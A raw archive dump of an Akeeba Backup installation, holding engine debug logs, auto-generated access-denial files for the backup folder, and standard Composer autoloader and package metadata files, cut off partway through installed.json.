DEBUG   |20240101 17:41:25|-- Loading filter Regexskipdirs
DEBUG   |20240101 17:41:25|-- Loading filter Incremental
DEBUG   |20240101 17:41:25|-- Loading filter Regextables
DEBUG   |20240101 17:41:25|-- Loading filter Skipdirs
DEBUG   |20240101 17:41:25|-- Loading filter Files
DEBUG   |20240101 17:41:25|-- Loading filter Directories
DEBUG   |20240101 17:41:25|-- Loading filter Systemcachefiles
DEBUG   |20240101 17:41:25|-- Loading filter Excludetabledata
DEBUG   |20240101 17:41:25|-- Loading filter Excludefiles
DEBUG   |20240101 17:41:25|-- Loading filter Cvsfolders
DEBUG   |20240101 17:41:25|-- Loading filter Publicfolder
DEBUG   |20240101 17:41:25|-- Loading filter Joomlaskipfiles
DEBUG   |20240101 17:41:25|-- Loading filter Excludefolders
DEBUG   |20240101 17:41:25|-- Loading filter Siteroot
DEBUG   |20240101 17:41:25|-- Loading filter Libraries
DEBUG   |20240101 17:41:25|-- Loading filter Joomlaskipdirs
DEBUG   |20240101 17:41:25|-- Loading filter Sitedb
DEBUG   |20240101 17:41:25|Loading optional filters
DEBUG   |20240101 17:41:25|-- Loading optional filter Stack\StackHoststats
DEBUG   |20240101 17:41:25|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20240101 17:41:25|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20240101 17:41:25|-- Loading optional filter Stack\StackFinder
DEBUG   |20240114 06:24:33| -- Resetting Akeeba Engine factory (backend.id-20240114-062433-257072)
DEBUG   |20240114 06:24:33|Fetching filter data from database
DEBUG   |20240114 06:24:33|Loading filters
DEBUG   |20240114 06:24:33|-- Loading filter Regexskipfiles
DEBUG   |20240114 06:24:33|-- Loading filter Multidb
DEBUG   |20240114 06:24:33|-- Loading filter Tables
DEBUG   |20240114 06:24:33|-- Loading filter Tabledata
DEBUG   |20240114 06:24:33|-- Loading filter Regexdirectories
DEBUG   |20240114 06:24:33|-- Loading filter Tablesalwaysskipped
DEBUG   |20240114 06:24:33|-- Loading filter Extradirs
DEBUG   |20240114 06:24:33|-- Loading filter Regexfiles
DEBUG   |20240114 06:24:33|-- Loading filter Regextabledata
DEBUG   |20240114 06:24:33|-- Loading filter Skipfiles
DEBUG   |20240114 06:24:33|-- Loading filter Regexskipdirs
DEBUG   |20240114 06:24:33|-- Loading filter Incremental
DEBUG   |20240114 06:24:33|-- Loading filter Regextables
DEBUG   |20240114 06:24:33|-- Loading filter Skipdirs
DEBUG   |20240114 06:24:33|-- Loading filter Files
DEBUG   |20240114 06:24:33|-- Loading filter Directories
DEBUG   |20240114 06:24:33|-- Loading filter Systemcachefiles
DEBUG   |20240114 06:24:33|-- Loading filter Excludetabledata
DEBUG   |20240114 06:24:33|-- Loading filter Excludefiles
DEBUG   |20240114 06:24:33|-- Loading filter Cvsfolders
DEBUG   |20240114 06:24:33|-- Loading filter Publicfolder
DEBUG   |20240114 06:24:33|-- Loading filter Joomlaskipfiles
DEBUG   |20240114 06:24:33|-- Loading filter Excludefolders
DEBUG   |20240114 06:24:33|-- Loading filter Siteroot
DEBUG   |20240114 06:24:33|-- Loading filter Libraries
DEBUG   |20240114 06:24:33|-- Loading filter Joomlaskipdirs
DEBUG   |20240114 06:24:33|-- Loading filter Sitedb
DEBUG   |20240114 06:24:33|Loading optional filters
DEBUG   |20240114 06:24:33|-- Loading optional filter Stack\StackHoststats
DEBUG   |20240114 06:24:33|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20240114 06:24:33|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20240114 06:24:33|-- Loading optional filter Stack\StackFinder
PK     \_`  `    backup/index.htmnu [        <!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Access Denied</title>
  </head>
  <body>
	  <h1>Access Denied</h1>
  </body>
</html>PK     \{Ӻ       backup/index.phpnu [        <?php header('HTTP/1.1 403 Forbidden'); return; ?>
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file tells your web server to not list the contents of this directory, instead returning an HTTP 403 Forbidden
error. This makes it implausible for a malicious third party to successfully guess the filenames of your backup
archives. Therefore, even if this folder is directly web accessible – despite the .htaccess and web.config file already
put in place by the Akeeba Backup Engine – it will still be reasonably protected against malicious users trying to
download your backup archives.

Please do not remove this file as it could have security implications for your site.

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php
PK     \㘉ħ      backup/web.confignu [        <?xml version="1.0"?>
<!--
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file makes sure that your backup output directory is not directly accessible from the web if you are using the
Microsoft Internet Information Services (IIS) web server, version 7 or later. This prevents unauthorized access to your
backup archive files and backup log files. Removing this file could have security implications for your site.

As noted above, this only works on IIS 7 or later.
See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        backup/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \0        backup/index.htmlnu [        <!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<html><head><title></title></head><body></body></html>PK     \q      vendor/autoload.phpnu [        <?php

// autoload.php @generated by Composer

if (PHP_VERSION_ID < 50600) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, $err);
        } elseif (!headers_sent()) {
            echo $err;
        }
    }
    throw new RuntimeException($err);
}

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit7e7ffb6f1a9e828ca7ae967d28b893af::getLoader();
PK     \-    "  vendor/composer/platform_check.phpnu [        <?php

// platform_check.php @generated by Composer

$issues = array();

if (!(PHP_VERSION_ID >= 70400)) {
    $issues[] = 'Your Composer dependencies require a PHP version ">= 7.4.0". You are running ' . PHP_VERSION . '.';
}

if ($issues) {
    if (!headers_sent()) {
        header('HTTP/1.1 500 Internal Server Error');
    }
    if (!ini_get('display_errors')) {
        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
            fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL);
        } elseif (!headers_sent()) {
            echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
        }
    }
    throw new \RuntimeException(
        'Composer detected issues in your platform: ' . implode(' ', $issues)
    );
}
PK     \2@u?  ?    vendor/composer/ClassLoader.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    https://www.php-fig.org/psr/psr-0/
 * @see    https://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    /** @var \Closure(string):void */
    private static $includeFile;

    /** @var string|null */
    private $vendorDir;

    // PSR-4
    /**
     * @var array<string, array<string, int>>
     */
    private $prefixLengthsPsr4 = array();
    /**
     * @var array<string, list<string>>
     */
    private $prefixDirsPsr4 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr4 = array();

    // PSR-0
    /**
     * List of PSR-0 prefixes
     *
     * Structured as array('F (first letter)' => array('Foo\Bar (full prefix)' => array('path', 'path2')))
     *
     * @var array<string, array<string, list<string>>>
     */
    private $prefixesPsr0 = array();
    /**
     * @var list<string>
     */
    private $fallbackDirsPsr0 = array();

    /** @var bool */
    private $useIncludePath = false;

    /**
     * @var array<string, string>
     */
    private $classMap = array();

    /** @var bool */
    private $classMapAuthoritative = false;

    /**
     * @var array<string, bool>
     */
    private $missingClasses = array();

    /** @var string|null */
    private $apcuPrefix;

    /**
     * @var array<string, self>
     */
    private static $registeredLoaders = array();

    /**
     * @param string|null $vendorDir
     */
    public function __construct($vendorDir = null)
    {
        $this->vendorDir = $vendorDir;
        self::initializeIncludeClosure();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', array_values($this->prefixesPsr0));
        }

        return array();
    }

    /**
     * @return array<string, list<string>>
     */
    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    /**
     * @return list<string>
     */
    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    /**
     * @return array<string, string> Array of classname => path
     */
    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array<string, string> $classMap Class to filename map
     *
     * @return void
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string              $prefix  The prefix
     * @param list<string>|string $paths   The PSR-0 root directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @return void
     */
    public function add($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string              $prefix  The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths   The PSR-4 base directories
     * @param bool                $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        $paths = (array) $paths;
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string              $prefix The prefix
     * @param list<string>|string $paths  The PSR-0 base directories
     *
     * @return void
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string              $prefix The prefix/namespace, with trailing '\\'
     * @param list<string>|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     *
     * @return void
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     *
     * @return void
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     *
     * @return void
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     *
     * @return void
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     *
     * @return void
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);

        if (null === $this->vendorDir) {
            return;
        }

        if ($prepend) {
            self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders;
        } else {
            unset(self::$registeredLoaders[$this->vendorDir]);
            self::$registeredLoaders[$this->vendorDir] = $this;
        }
    }

    /**
     * Unregisters this instance as an autoloader.
     *
     * @return void
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));

        if (null !== $this->vendorDir) {
            unset(self::$registeredLoaders[$this->vendorDir]);
        }
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return true|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            $includeFile = self::$includeFile;
            $includeFile($file);

            return true;
        }

        return null;
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    /**
     * Returns the currently registered loaders keyed by their corresponding vendor directories.
     *
     * @return array<string, self>
     */
    public static function getRegisteredLoaders()
    {
        return self::$registeredLoaders;
    }

    /**
     * @param  string       $class
     * @param  string       $ext
     * @return string|false
     */
    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }

    /**
     * @return void
     */
    private static function initializeIncludeClosure()
    {
        if (self::$includeFile !== null) {
            return;
        }

        /**
         * Scope isolated include.
         *
         * Prevents access to $this/self from included files.
         *
         * @param  string $file
         * @return void
         */
        self::$includeFile = \Closure::bind(static function($file) {
            include $file;
        }, null, null);
    }
}
PK     \N%
  
  #  vendor/composer/autoload_static.phpnu [        <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af
{
    public static $files = array (
        '714ccd4b330431237faf946f71c4c9a4' => __DIR__ . '/..' . '/akeeba/s3/src/aliasing.php',
    );

    public static $prefixLengthsPsr4 = array (
        'C' =>
        array (
            'Composer\\CaBundle\\' => 18,
        ),
        'A' =>
        array (
            'Akeeba\\WebPush\\' => 15,
            'Akeeba\\UsageStats\\Collector\\' => 28,
            'Akeeba\\S3\\' => 10,
            'Akeeba\\PHPFinder\\' => 17,
            'Akeeba\\Engine\\' => 14,
            'Akeeba\\Backup\\Tests\\' => 20,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'Composer\\CaBundle\\' =>
        array (
            0 => __DIR__ . '/..' . '/composer/ca-bundle/src',
        ),
        'Akeeba\\WebPush\\' =>
        array (
            0 => __DIR__ . '/..' . '/akeeba/webpush/src',
        ),
        'Akeeba\\UsageStats\\Collector\\' =>
        array (
            0 => __DIR__ . '/..' . '/akeeba/stats_collector/src',
        ),
        'Akeeba\\S3\\' =>
        array (
            0 => __DIR__ . '/..' . '/akeeba/s3/src',
        ),
        'Akeeba\\PHPFinder\\' =>
        array (
            0 => __DIR__ . '/..' . '/akeeba/phpfinder/src',
        ),
        'Akeeba\\Engine\\' =>
        array (
            0 => __DIR__ . '/..' . '/akeeba/engine/engine',
        ),
        'Akeeba\\Backup\\Tests\\' =>
        array (
            0 => __DIR__ . '/../../../..' . '/Tests',
        ),
    );

    public static $prefixesPsr0 = array (
        'P' =>
        array (
            'PHPSQLParser\\' =>
            array (
                0 => __DIR__ . '/..' . '/greenlion/php-sql-parser/src',
            ),
        ),
    );

    public static $classMap = array (
        'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::$prefixDirsPsr4;
            $loader->prefixesPsr0 = ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::$prefixesPsr0;
            $loader->classMap = ComposerStaticInit7e7ffb6f1a9e828ca7ae967d28b893af::$classMap;

        }, null, ClassLoader::class);
    }
}
PK     \)A  A    vendor/composer/installed.jsonnu [        {
    "packages": [
        {
            "name": "akeeba/engine",
            "version": "dev-development",
            "version_normalized": "dev-development",
            "source": {
                "type": "git",
                "url": "git@github.com:akeeba/engine.git",
                "reference": "ac33ea315ad7b52e81fcdedbd9ea6e6f600b6fa6"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/akeeba/engine/zipball/ac33ea315ad7b52e81fcdedbd9ea6e6f600b6fa6",
                "reference": "ac33ea315ad7b52e81fcdedbd9ea6e6f600b6fa6",
                "shasum": ""
            },
            "require": {
                "akeeba/s3": "dev-development",
                "ext-fileinfo": "*",
                "ext-json": "*",
                "ext-mbstring": "*",
                "greenlion/php-sql-parser": "^4.6.0",
                "php": "^7.4.0|^8.0"
            },
            "require-dev": {
                "composer/ca-bundle": "^1.3.6",
                "joomla/uri": "^3.0-dev",
                "mnapoli/silly": "^1.8.3",
                "phpunit/phpunit": "^9.0.0",
                "rector/rector": "^0.15.21"
            },
            "suggest": {
                "ext-curl": "*",
                "ext-dom": "*",
                "ext-ftp": "*",
                "ext-mysqli": "*",
                "ext-openssl": "*",
                "ext-pdo": "*",
                "ext-simplexml": "*",
                "ext-sqlite3": "*",
                "ext-ssh2": "*",
                "ext-zip": "*"
            },
            "time": "2026-06-19T10:28:09+00:00",
            "default-branch": true,
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Akeeba\\Engine\\": "engine/"
                }
            },
            "autoload-dev": {
                "psr-4": {
                    "Akeeba\\Engine\\DevPlatform\\": "dev_platform/",
                    "Akeeba\\Engine\\Filter\\": "dev_platform/Platform/Filter/",
                    "Akeeba\\Engine\\Platform\\": "dev_platform/Platform/",
                    "Akeeba\\Engine\\Test\\": "Test/"
                }
            },
            "archive": {
                "exclude": [
                    "binned_ideas",
                    "connector_development",
                    "dev_platform",
                    "run",
                    "Test",
                    "tools"
                ]
            },
            "scripts": {
                "test": [
                    "phpunit"
                ]
            },
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Nicholas K. Dionysopoulos",
                    "email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
                    "homepage": "https://www.dionysopoulos.me",
                    "role": "Lead Developer"
                },
                {
                    "name": "Davide Tampellini",
                    "email": "davide_NO_SPAM_PLEASE@akeeba.com",
                    "homepage": "https://www.dionysopoulos.me",
                    "role": "Senior Developer"
                }
            ],
            "description": "Akeeba Engine - a site backup engine written in pure PHP",
            "homepage": "https://github.com/akeeba/engine",
            "keywords": [
                "backup",
                "mysql",
                "php"
            ],
            "support": {
                "source": "https://github.com/akeeba/engine/tree/development",
                "issues": "https://github.com/akeeba/engine/issues"
            },
            "install-path": "../akeeba/engine"
        },
        {
            "name": "akeeba/phpfinder",
            "version": "1.0.1",
            "version_normalized": "1.0.1.0",
            "source": {
                "type": "git",
                "url": "https://github.com/akeeba/phpfinder.git",
                "reference": "0a00eb712c72000f6dbd4cd3a772bd327c288920"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/akeeba/phpfinder/zipball/0a00eb712c72000f6dbd4cd3a772bd327c288920",
                "reference": "0a00eb712c72000f6dbd4cd3a772bd327c288920",
                "shasum": ""
            },
            "require": {
                "php": ">=7.2.0 <=8.4"
            },
            "time": "2025-12-22T07:08:43+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Akeeba\\PHPFinder\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Nicholas K. Dionysopoulos",
                    "email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
                    "homepage": "http://www.dionysopoulos.me",
                    "role": "Lead Developer"
                }
            ],
            "description": "Locate the PHP CLI binary on the server",
            "homepage": "https://github.com/akeeba/phpfinder",
            "keywords": [
                "cli",
                "php"
            ],
            "support": {
                "issues": "https://github.com/akeeba/phpfinder/issues",
                "source": "https://github.com/akeeba/phpfinder/tree/1.0.1"
            },
            "install-path": "../akeeba/phpfinder"
        },
        {
            "name": "akeeba/s3",
            "version": "dev-development",
            "version_normalized": "dev-development",
            "source": {
                "type": "git",
                "url": "https://github.com/akeeba/s3.git",
                "reference": "6e251af705c5a61710b32f79bfb905483634c5fb"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/akeeba/s3/zipball/6e251af705c5a61710b32f79bfb905483634c5fb",
                "reference": "6e251af705c5a61710b32f79bfb905483634c5fb",
                "shasum": ""
            },
            "require": {
                "ext-curl": "*",
                "ext-simplexml": "*",
                "php": "^7.4.0|^8.0"
            },
            "time": "2026-01-02T10:38:05+00:00",
            "default-branch": true,
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "files": [
                    "src/aliasing.php"
                ],
                "psr-4": {
                    "Akeeba\\S3\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Nicholas K. Dionysopoulos",
                    "email": "nicholas_NO_SPAM_PLEASE@akeeba.com",
                    "homepage": "http://www.dionysopoulos.me",
                    "role": "Lead Developer"
                }
            ],
            "description": "A compact, dependency-less Amazon S3 API client implementing the most commonly used features",
            "homepage": "https://github.com/akeeba/s3",
            "keywords": [
                "s3"
            ],
            "support": {
                "issues": "https://github.com/akeeba/s3/issues",
                "source": "https://github.com/akeeba/s3/tree/development"
            },
            "install-path": "../akeeba/s3"
        },
        {
            "name": "akeeba/stats_collector",
            "version": "dev-main",
            "version_normalized": "dev-main",
            "source": {
                "type": "git",
                "url": "https://github.com/akeeba/stats_collector.git",
                "reference": "a3dc39b61bfacbd2389094b09bc0307cbdb1f81a"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/akeeba/stats_collector/zipball/a3dc39b61bfacbd2389094b09bc0307cbdb1f81a",
                "reference": "a3dc39b61bfacbd2389094b09bc0307cbdb1f81a",
                "shasum": ""
            },
            "require": {
                "php": "^7.2|^8.0"
            },
            "suggest": {
                "ext-curl": "For sending the usage stats to the server",
                "ext-openssl": "Fallback when random_bytes is not available"
            },
            "time": "2026-01-26T13:23:28+00:00",
            "default-branch": true,
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Akeeba\\UsageStats\\Collector\\": "src"
                }
            },
            "archive": {
                "exclude": [
                    ".idea/**",
                    ".gitignore",
                    "composer.lock"
                ]
            },
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Nicholas K. Dionysopoulos",
                    "email": "nicholas_NO_SPAM@akeeba.com"
                }
            ],
            "description": "Usage Statistic collector",
            "support": {
                "source": "https://github.com/akeeba/stats_collector/tree/main",
                "issues": "https://github.com/akeeba/stats_collector/issues"
            },
            "install-path": "../akeeba/stats_collector"
        },
        {
            "name": "akeeba/webpush",
            "version": "dev-main",
            "version_normalized": "dev-main",
            "source": {
                "type": "git",
                "url": "git@github.com:akeeba/webpush.git",
                "reference": "325e4dd445d4048a9872539fc273b31eb1ca457f"
            },
            "dist": {
                "type": "zip",
